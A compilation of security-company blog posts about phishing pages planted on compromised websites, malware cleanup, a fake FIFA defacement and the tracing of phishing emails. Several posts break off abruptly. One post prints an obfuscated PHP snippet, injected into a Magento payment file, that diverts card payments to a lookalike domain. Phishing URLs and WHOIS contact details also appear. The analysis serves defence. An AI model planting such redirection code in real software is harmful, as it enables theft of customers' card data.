Website Malware Removal: Phishing

As we continue on our Malware Removal series we turn our attention to the increasing threat of Phishing infections.

Just like a fisherman casts and reels with his fishing rod, a “phisher-man” will try their luck baiting users with fake pages, often in the form of login pages. These copied website pages are cast into infected websites with the hope that some users will bite, and get reeled into giving away their secret data. Wielding the web development and scripting knowledge necessary to make forms that look convincingly realistic, hackers lure unsuspecting users into entering their credentials on the imitated page.

Sucuri - US Bank Being used in Phishing Campaign

Sucuri – US Bank Being used in Phishing Campaign

These infections are known as Phishing Lures.

Any website, regardless of platform, can be prey to phishing infections. Unlike other tactics that look to abuse audiences or take advantage of popularity, think Blackhat SEO infections, this one focuses on your web server resources. This type of infection leverages the compromised website as the housing shell and delivery mechanism.

This delivery mechanism is used to serve pages and scripts built to social-engineer users into thinking they are official providers, often in the form of emails.

Example of how Websites are Used via Emails

Example of how Websites are Used via Emails

Because of it’s design, the attackers are able to abuse the users trust.

Phishing attacks can be devastating to the compromised website. Due to a damaged reputation, the website can suffer drops in search engine rankings, along with the brand distrust that comes from harboring pages that steal private user information.

Example of a Website Blacklisted for Phishing

Example of a Website Blacklisted for Phishing

Many Lakes and Many Places to Phish

Do not be fooled into thinking some websites are immune to a phishing infection. Phishing is a conceptual task centered around taking advantage of the users trust. The attacker could be intent in distributing malware, stealing private / secret data, or any number of nefarious acts. They do it using deception and illusion; it is not bound to a specific technology, framework or CMS to make it work. The infection makes its way into files where it is able to deliver very official looking content to unsuspecting victims. If the user does not pay attention to the actual location of the URL or the SSL certificate, looking only at the webpage itself, then a password to an important social network, email portal or bank account could be exposed to a malicious attacker.

We have tracked numerous instances of phishing activity on websites that we protect, and have even documented examples of phishing in the wild. The following screenshot demonstrates where a phishing page had been hidden inside a Joomla website:

Infected Joomla website, phishing with fake Chase Bank page

Infected Joomla website, phishing with fake Chase Bank page

It did not do much to disguise itself, as it was simple to exploit an unpatched vulnerability in the Joomla website. It then created a new directory in the root of the website where the fake Chase Bank pages could be hosted.

These pages coerce the user into giving away personally identifiable information (PII) as part of a “customer satisfaction survey” that offers a chance to receive a cash prize as incentive for filling it out. In actuality, the personal information and credentials are being captured by way of having all details of POST requests logged in a nearby file. This means anything submitted through the phishing form will be recorded by the hacker. As an added bonus, the infection also attempts to hook into the victim browser and steal any active cookies for use in accessing other accounts as well.

Looking back at another post written about Phishing on Magento Sites, it can be seen that the same style of attacks can apply to multiple ecosystems. Utilizing the ins and outs of HTML, ASP, PHP and JavaScript, a phishing file can live in any kind of environment that a webserver can provide, this is true for all website regardless of platform and technology.

WordPress is no stranger to Phishing attacks, similar to the examples above with Magento and Joomla, there are various cases that show how WordPress websites are being abused with Phishing infections.

Using Better Bait and Tackle

QR Code Phishing

QR Code Phishing

What makes this difficult to detect as an attack is all the additional layers of illusion that prevent victims from seeing that they are not actually getting to where they want to go. Once these pages are generated and placed onto a host website, they are ready for distribution to unknowing users. It is not prudent to simply ask them to do their banking at NotABankingSite.com/new-folder/bank-account-page.php. However, it gets trickier when link-shortening services are used, or carefully crafted subdomain/domain name combos are made to look like real addresses, as in the following examples: facebo.co.uk, or account-1.chase.com.on-linebanking.com, or simlt bit.ly/11jeGil. Going a step further, information thieves can weave these links into emails to resemble real messages from official companies, making them even harder to spot. An attacker can even make custom QR codes to entice users to access a link without ever displaying the text of the URL to the phishing page.

Removing Phishing Malware

When we talk about removing, we have to understand that the issue with Phishing is not removing, but detection. Unlike other attack methods that depend on browser events to occur, Phishing lures sit idle until employed by the attacker (i.e., used in email, sms, social media, etc.. campaigns).

Phishing pages in it of themselves often don’t have malware injected in them, so they don’t attempt at doing anything malicious to the users machine or browsers. Instead, they depend on the users naiveness to capture their information once they freely give it up.

Unlike, other infection types, Phishing pages are also not injected in existing code bases, or linked to the site itself. This thwarts most of that the tools that search through websites, following links to pages in the sitemap and checking source code for malicious injections.

With that in mind, when we talk about removal, we have to first focus on detecting the infection. Here are some of our recommendations:

  1. Know your website, it’s site structure and what belongs.
  2. Employ tools that allow you to see when things change.
  3. Monitor all changes to core installation directories.

More often than not, attackers really love to inject their Phishing payloads inside the core directories of a website (most applicable to those that leverage a CMS). This means they are leveraging directories like /includes and /administrator in Joomla! and /wp-admin and /wp-includes in WordPress. Along with a number of others. Because of it’s nature however it’s impossible to guess where exactly it will be.

Because of these challenges, we recommend always replacing the core files of your website, if possible. Note however that it is not a matter of reinstalling the files, you must physically delete the core directories and install fresh a new copy. The reason for this is that when you reinstall via most CMS platforms they will only update existing files, they don’t remove all files and start fresh. If you recall our conversation above, Phishing infections are often stand alone files that sit idly waiting to be leveraged.

Another great remediation option is to regularly run an integrity check on all directories and files. You are checking to see if new files are added to directories, while also looking to see if files change (e.g., content changes, time stamp changes, access times). A script meant to compare the contents of an infected server to that of a clean server would reveal the discrepancy in lines of code and lists of files among the core assets of any CMS or website framework.

If a WordPress website is in use, site owners can take advantage of the Free WordPress Sucuri Security plugin, available in the WordPress repository. For those managing their own servers, we’d recommend looking at a Host Intrusion Detection System (HIDS) solution, something like OSSEC.

When it comes to Phishing, unfortunately, there is no simple answer at the moment, and while it’s not a Do It Yourself (DIY) type project, there are things you can do as outlined above. Your best defense is either employing professionals to help, or taking a more proactive posture to your security.

Website owners should perform regular audits, and constantly monitor the code and files that reside on their server, making it easy to spot phishing pages that are out of place.

The Art of Website Malware Removal – The Basics

When talking about defense against malicious hacks, the attack vector is a common topic for Information Security (InfoSec) professionals. The primary concern is to understand the anatomy of the attack and prevent it from happening again. However, there is a less glamorous task that must take place once an attack vector is exploited; that is malware removal (a.k.a., cleaning up the mess).

The task of cleaning, removing, malware often falls on your shoulders as the website owner / administrator.

While unfortunate and frustrating, malware infections greet us like flat tire or a burst water pipe in the middle of the night. It’s never expected, it’s always while you are sleeping and it’s impacts are felt greatly. They hurt search engine rankings (i.e., SEO), spread malware to users, introduce branding issue, cause websites to be shutdown and a slew of other less than pleasant experiences. The important thing to note though, is that like other problems that surprise us in life, malware infections must be dealt with quickly and correctly. You cannot drive your daily commute on a flat tire, nor can you operate a website that is infected with malware.

Malware needs to be removed as soon as possible before the consequences begin to amplify themselves and their impacts.

Four Common Malware Families Affecting Websites

Like the real-life pests and diseases that they are named for, worms, viruses, and other types of cyber-menaces that have earned metaphorical aliases have many varieties, purposes, and ways to deal with different types of malware. The treatment of one kind of skin infection may have no effect when applied to another, and attempting to remove a hornet nest with the same caution as a bird nest would lead to disastrous results. The scenario is virtually the same when cleaning an infected website.

Due to the multitude of technologies, languages, frameworks and tools, code on the web can be as diverse as human culture itself. This brings about millions of possibilities to achieve very similar goals in software development. Malware takes on this model, and rears it’s ugly head in many different forms, functioning to serve many different purposes.

1. Blackhat SEO Spam Injections

Everybody who reads this blog has seen it before: a website with some very out of place looking advertisements, that are usually of the pharmaceutical, pornographic, knock-off designer brand or fast-money lending nature. These websites have been hit by a criminal user looking to feed off of the website’s traffic in order to advertise for products and services that would normally be very restricted or banned by most hosting policies. Using the victim website as a billboard, the hacker earns commission based income off of the number of clicks or forced redirects that are generated because of the injected malware.

The malicious code that causes injected spam content can be structured in several ways, placed in many locations, or be encoded in a multitude of ways to appear like normal software. Because of this, it is very difficult to have an across-the-board detection method for all types of SEO spam. There are many varieties in the wild that infect websites every day. Furthermore, some infections are scripts can activate based on time or events on your site. These can constantly update posts and pages to display junk or redirect users to affiliate pages, even after you’ve done the work to get rid of it. This can cause a major strain on cleanup, so the best solution is to be prepared with a full backup. By updating to a recent clean version from before a successful attack, website owners can go back in time to a moment before the hack took place, and update their security measures to make sure their content is not overshadowed by blackhat SEO spam.

2. Phishing

Little do many webmasters know, but millions of websites across the internet have pages that definitely should not be there. These hidden pages are home to code that is crafted to resemble other websites on the Internet, like BofA.com, Amazon.com, eBay.com, Hotmail, Gmail, Facebook, and many others.

The hackers that put these pages on your site are using them to trick other users to mistakenly put their credentials into a form controlled by the hackers, instead of the official website they think they are sending their password to. This is the reason those policy memos from your bank are always telling you to thoroughly check the links you click when going to manage your finances, or that you should never click a link to go to your bank account from your email. Those links may actually be under the control of someone looking to steal your information, to then steal your money, from pages hosted on a website of an unknowing person, not actually looking to help criminals steal usernames and passwords.

3. Drive-By Downloads

Malware can be difficult to detect, and often employs social engineering tactics, or methods that trick users into playing into the clutches of the attacker. Forms, pop-ups, ads and other site functions can be compromised to force a user to click on something other than intended, or answer a question where the secret answer is actually Yes, I would like to download that .exe file.

These infections, called Drive-By Downloads, are incredibly dangerous to end-users, as they allow attackers to escalate their control from an infected website, to the potential administrative access of any computer that accesses that website. Once the malicious payload has been delivered to the victim user’s machine, it may activate automatically or wait to be activated by some other method before scraping the user’s machine of sensitive information, and sending that along with remote access privileges to a waiting attacker.

4. Backdoors

While some infectious files are meant to actively perform tasks, create spam or attack visitors, other types are meant to lay in wait, and appear only to the hackers that know they are there. These are called backdoor infections. These can lead to large scale attacks by allowing the attacker to build up a number of websites to use as attack surfaces. They can look very different in separate cases, but often have a similar function at the end of their task list: to provide the hacker with the access needed to control the website or server at any chosen time.

Backdoors can serve multiple purposes, ranging from being able to reinfect websites after cleanup, to linking the targeted site to a network of other sites used in DDoS attacks, or massive spam mail campaigns.

Scrubbing Away the Hacker Residue

Learning to deal with each type of malware infection individually is quite challenging at a technical level, but having a plan to get back to normal under any circumstance is important nonetheless.

If detection fails, a keen eye is needed to analyze website content, functionality and code for any signs of intrusion. Once a thread is noticed, it must be followed to determine where in the files or database that the malware located, so that it can be removed.

Once the code showing the infection (i.e., symptom) is removed you must ensure that you go through the rest of the website and remove / repair any backdoors or potential attack vectors. In further efforts to prevent reinfection, all software should be updated fully to minimize the chance of known vulnerabilities being exploited, and all passwords changed, to eliminate the risk that they were stolen during the attack.

It can always be assumed that a stable backup from before a time where malicious files or database entries existed on the server will solve almost any problem. It is therefore, extremely important to maintain backups that are scheduled to be made on a timeframe that will suit to overwrite the infected aftermath of a website. We’ve spoken about backups at length before, but it’s a necessity.

Contrary to popular belief, malware removal is not a Do It Yourself (DIY) project. It has affected the brightest developers and security professionals; it’s time consuming, and can be the cause of many restless nights and days. If you find yourself in this predicament know that there are professionals out there that specialize in this work.

Remember, website infections are like Icebergs, they only display 10% of the problem.

Phishing with help from Compromised WordPress Sites

We get thousands of spam and phishing emails daily. We use good spam filters (along with Gmail) and that greatly reduces the noise in our inbox. Today though, one slipped through the crack and showed up in my personal inbox:

Gmail Phishing


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Was the FIFA Website Hacked?

As many know, our company has deep Brazilian roots, as such we have no choice but to enamored with the upcoming World Cup. Yes, the World Cup is coming, soccer news is everywhere and like most things, websites are being used to disseminate the news. The Federation Internationale de Football Association (FIFA) is perhaps one of the largest websites in the world dedicated to Football (a.ka.a Soccer for you Americans) news.

This morning however I awoke to the most startling of news; Twitter was all the rage with the most unexpected, yet expected, FIFA appeared to be hacked.

twitter hacked

Hactivisim Amidst

Is it possible that the Fifa website was hacked? Could it be Hacktivism?

This wouldn’t be the first time ofcourse, big events like this are usually a big target for hackers and this defacement sure is getting a lot of attention from the public. This is what the reported hacked website looks like:

fifa fake defacement

Everything in the site looked the same, except that they added an animation of Fifa’s president, Joseph Sepp Blatter, dancing with a funny song.

At first glance it seems to be legitimate, but taking a closer look you quickly realize it is a fake. Fifa’s official website is www.fifa.com and the one that is being reported as hacked, defaced, is www.fifa-brazil-2014.com.

If you search for these two websites on Google, you will get the same description, which can certainly lead people to believe that it is a legitimate website for FIFA.

phishing

If you take a minute to dig a little deeper though you’ll find it’s really not.

$ host fifa-brazil-2014.com
fifa-brazil-2014.com has address 82.196.13.236

$ host 82.196.13.236
236.13.196.82.in-addr.arpa domain name pointer samba-hack.feinheit.ch.

CH = Abbreviation for Switzerland

Samba-Hack = Name being given to the hack

Registered at:
Registrar URL: http://www.godaddy.com

Creation Date: 2013-06-06 09:11:09

Registrant Email: andrea.arezina@solidar.ch
Admin Name: Andrea Arezina
Registrant City: Zurich
Registrant State/Province: Switzerland

If you look at the real FIFA website you’ll find this information:


$ host fifa.com
fifa.com has address 94.236.90.168

Registrar URL: www.cscprotectsbrands.com

Registrant Email: domain.admin@fifa.org
Admin Name: Domain Name Administrator

Registrant City: Zurich
Registrant State/Province: Switzerland

What’s most peculiar however is that they appear to be in the same city. Definitely an awkward moment for sure.

Lesson To Be Learned

Opportunistic attacks can happen at any time, we can’t allow ourselves to be fooled by what we find online (even if it comes from Twitter, especially if it comes from Twitter). We have to remain diligent when visiting websites we’re unfamiliar with. This caution extends to Google as well as you can see above. Although this specific attack only injected a defacement, the attack could have been much worse, it could have been used to deliver a desktop trojan or any variety of other malware payloads.

Stay safe and don’t be fooled :)

Phishing Tale: An Analysis of an Email Phishing Scam

Phishing scams are always bad news, and in light of the Google Drive scam that made the rounds again last week, we thought we’d tell the story of some spam that was delivered into my own inbox because even security researchers, with well though-out email block rules, still get SPAM in our inboxes from time to time.

Here’s where the story begins:

Today, among all the spam that I get in my inbox, one phishing email somehow made its way through all of my block rules.

Spam email in our security team's inbox

Even our security team gets SPAM from time to time.

I decided to look into it a little further. Of course, I wanted to know whether or not we were already blocking the phishing page, but I also wanted to investigate further and see if I could figure out where it came from. Was it from a compromised site or a trojanized computer?

The investigation started with the mail headers (identifying addresses have been changed, mostly to protect my email ☺):

Blog1

The headers tell us that miami.hostmeta.com.br is being used to send the spam. It’s also an alert that some of the sites in this shared server are likely vulnerable to the form: X-Mailer: PHPMailer [version 1.73]. I decided to look into the server and found that it contained quite a few problems. This server hosts about twenty sites, some of which are outdated–WordPress 2.9.2 is the oldest–while others are disclosing outdated web server versions (Outdated Web Server Apache Found: Apache/2.2.22) and still others are blacklisted (http://www.siteadvisor.com/sites/presten.com.br). This makes it pretty difficult to tell where the spam came from, right?

Luckily, there’s another header to help us, Message-ID:. nucleodenegociosweb.com.br is hosted on miami.hostmeta.com.br and it has an open contact form. I used it to send a test message and although the headers are similar, the PHPMailer differs:

Blog2

What Do We Know Now?

We know who is sending the phishing messages, but what host are they coming from? There are some clues in the message body:

blog3

From that image, we can see that http://www.dbdacademy.com/dbdtube/includes/domit/new/ is hosting the image and the link to the phishing scam, but it doesn’t end there. As you can see from the content below, we’ll be served a redirect to http://masd-10.com/contenido/modules/mod_feed/tmpl/old/?cli=Cliente&/JMKdWbAqLH/CTzPjXNZ7h.php, which loads an iframe hosted on http://www.gmff.com.hk/data1/tooltips/new/.

Here is the content:
Phishing email

Problem Solved. Or is It?

In this case, there are three compromised sites being used to deliver the phishing campaign and it’s becoming very common to see this strategy adopted. The problem, from the bad guy’s point of view, is that if they store all of their campaign components on one site, then they lose all of their work when we come in and clean the website. If they split the components up and place them on multiple sites, with different site owners, then it’s unlikely that all of the sites will be cleaned at one time, which means their scam can continue.

As always with malware, it’s not enough for your site to be clean. You also need to rely on everyone else to keep their own site clean. When others don’t, your computer or website can be put at risk.

If you’re interested in technical notes regarding the type of research we do be sure to follow us on Twitter and be sure to check in with our Lab Notes. If you something interesting you’d like us analyze please don’t hesitate to ping us, we’re always looking for a new challenge.

Ad Violations: Why Search Engines Won’t Display Your Site If it’s Infected With Malware

As your site’s webmaster, have you ever seen an e-mail from Google like this:

Hello,

We wanted to alert you that one of your sites violates our advertising policies. Therefore, we won’t be able to run any of your ads that link to that site, and any new ads pointing to that site will also be disapproved.

Here’s what you can do to fix your site and hopefully get your ad running again:

1. Make the necessary changes to your site that currently violates our policies:
Display URL: site.com
Policy issue: Malware
Details & instructions:

2. Resubmit your site to us, following the instructions in the link above….

If so, you know the potential downside risk this poses for your website. In their own words, Google says,

In some cases, you may be unaware that you have malware on your site. But to protect the safety and security of our users, we stop all ads pointing to sites where we find malware.

In essence, Google and Bing care about their searchers more than your business so, to protect their customers, they’ll shut your website out of Adwords and Bing Ads and will return your site less in organic searches.

Often overlooked in the search business is the role of the actual search engine in the ad placement process. These are businesses that specialize in creating algorithms to show relevant search results, assigning quality scores to your landing pages and placing your actual ads. A lot goes into the process, but in all cases, the key for the search engine is to show relevant search results (including ads) that keep people using their search engine. It is in this spirit that search engines like Google and Bing reserve the right to refuse your ads. This is especially true if they have any reason to believe that your site may be infected with malware–including viruses, worms, spyware, and Trojan Horses–or is being used in phishing schemes.

From the search engine’s perspective, this makes perfect sense. Searches are their lifeblood and there are other search engines a person could use to find websites. By showing your ads or returning your site organically in a search, they are tacitly telling the searcher, “We found these sites to be relevant to you.” If they start sending you to sites that are potentially harmful, then a searcher could, potentially, switch search engines.

However, knowing why search engines work as they do doesn’t make it easier to be a webmaster when a site is hacked. Luckily, our clean up and malware removal tools as well as our de-blacklisting service are just a click away.

Or, better yet, keep yourself from ever getting an email like the one above from Bing or Google. Instead, protect your site, and business, from potential problems stemming from malware, blacklisting or phishing and look into protecting your site with a website application firewall like our CloudProxy WAF .

Phishing Emails to Install Malicious WordPress Plugins

When all else fails, the bad guys can always rely on some basic social engineering tactics with a little hit of phishing!!

Over the weekend, a few of our clients received a very suspicious email telling them to download a new version of the popular “All in One SEO Pack” plugin for WordPress. What a win, right? It wasn’t just the plugin, but the Pro version too. To top it off, it was for Free!!! This is where the journey begins…

Happy Black Friday / Cyber Monday


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Joomla Hacks – Part I – Phishing

Joomla is a very popular open source CMS, dominating approximately 10% of the website market. While great for them, horrible for many others, as being popular often paints a big target on your back, at least when it comes to CMS applications.

Lately though, Joomla has had a bad spell, in which a vulnerability was found that was allowing for arbitrary PHP uploads via core. Any site that is not properly updated (or patched), can be an easily compromised. This applies to any website running Joomla 1.0.x, 1.5.x and the 1.6 and 1.7 branches, each one needs to be updated to the supported 2.5 or 3.0. Once that is supported, they need to be updated again to the latest 3.1.5 or 2.5.14 versions.

Unfortunately for Joomla users, the upgrade path is perhaps its weakest link. The reverse compatibility issues are so severe in the various branches that it plays right into the attackers objectives facilitating sever vulnerabilities, allowing them to have wider impacts across the website ecosystem. Because of this, we will share in this post one very specific method attackers are using to perform nefarious acts using the websites you visit or own, a little something known as Phishing.

  • Part I – Phishing injection


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Phishing 2.0 – Credit Card Redirection on Compromised Sites

We have seen it all when it comes to compromised sites: from silly defacements, to malware, spam, phishing and all sorts of injections. However, the bad guys are always looking to maximize their profits when they hack a site. Especially when it is an e-commerce site that processes credit cards online.

Credit Card Redirection

A new trick we are seeing being used on compromised e-commerce sites is credit card redirection. The attackers modify the flow of the payment process so that instead of just processing the card, they redirect all payment details to a domain they own so they can steal the card details.

This is often done very stealthy, with minimal changes to the site. Credit cards are very valuable in the black market, so the attackers try to stay on as long as possible without being detected.

Magento Redirection

Because of the nature of Magento websites, they are a big target. We are seeing sites having the credit card processing file modified to either email the credit card details or redirect them to a new domain. In this specific case, the file “app/code/community/MageBase/DpsPaymentExpress/Model/Method/Pxpay.php” (use for PaymentExpress payment handling) was modified with this code:

$oo = base64_decode(‘cGF5bWVudGV4cHJlc3M=’); $_oo = base64_decode("cGF5bWVudGlleHByZXNz’);$_is = base64_decode("c2Vzc19pZA==’);
$_oi = base64_decode("cHJlZ19yZXBsYWNl’);
$responseURI = $_oi(‘/’.$oo.’/’,$_oo,strval($responseXml->URI));

Which once decoded, replaces every occurrence of paymentexpress for paymentiexpress (see extra i). This forces the payment processing to be tunneled here:

https://sec.paymentiexpress.com/pxpay/pxaccess.aspx (see the i again)

Instead of the real URL:

https://sec.paymentexpress.com/pxpay/pxaccess.aspx

This redirection forces all the transaction data, including credit card details (name, address, CC and CVV), through their malicious server, in turn allowing the data to be stolen by the bad guys.

Paymentiexpress.com Phishing

The domain paymentiexpress.com was just registered a few days ago using whois privacy:

Registration Service Provided By: Namecheap.com
Contact: support@namecheap.com
Visit: http://namecheap.com
Registered through: eNom, Inc.
Creation date: 18 Jul 2013 18:02:00
Expiration date: 18 Jul 2014 18:02:00

And is currently live and not blacklisted by anyone (except us now). It has a proper SSL certificate (by RapidSSL) and everything that makes a trusted worthy phishing page.

What is also interesting is this new evolution of phishing, so that instead of tricking users into clicking into a bad url, it tricks the site itself to redirect the users information there.

UNICAMP – Used to Host Phishing Pages

We just discovered that UNICAMP (Universidade Estadual de Campinas), a renowned Brazilian University, has had their infrastructure compromised and it is being used to host phishing link which are then being used email spear phishing campaigns.

In this specific campaign they appear to be targeting a visitors credit card information. We came across the issue while working on an infected site. The attacker had modified the site’s .htaccess to redirect incoming traffic to the Phishing files:

hxxp://www.cpa.unicamp.br/alcscens/as/public.php (The URL was slightly modified to avoid accidental clicks)

This link was leading to the following URL which is still live. The content looks to have been cleared up:

hxxp://www0.comprapremiadacielo.web-maker.kz/

This was a phishing page pretending to be from Cielo, one of the biggest electronic payments operators in Brazil. It was pretending to offer promotions and discounts that requested the visitors credit card information.

Here’s an image of the phishing page:

cielo-phishing

We also found a file containing an email message and script to send emails to potential victims. Here’s the content of the email file:

httx://www. cpa.unicamp.br/alcscens/as/public.phpios%20autenticado&pbx=1&oq=&aq=&aqi=&aql=&gs_sm=&gs_upl=&bav=on.2%2cor.r_gc.r_pw.%2ccf.osb&fp=aa151a29d476e27c&pf=p&pdl=500
Caso não esteja vendo as imagens desse e-mail, click aqui: http://www.cpa.unicamp.br/alcscens/as/public.php

While there does not appear to be any evidence of other nefarious activities on the site, it is still best practice to avoid the site until the University has an opportunity to clean themselves up.


Written by Magno Logan and Fio.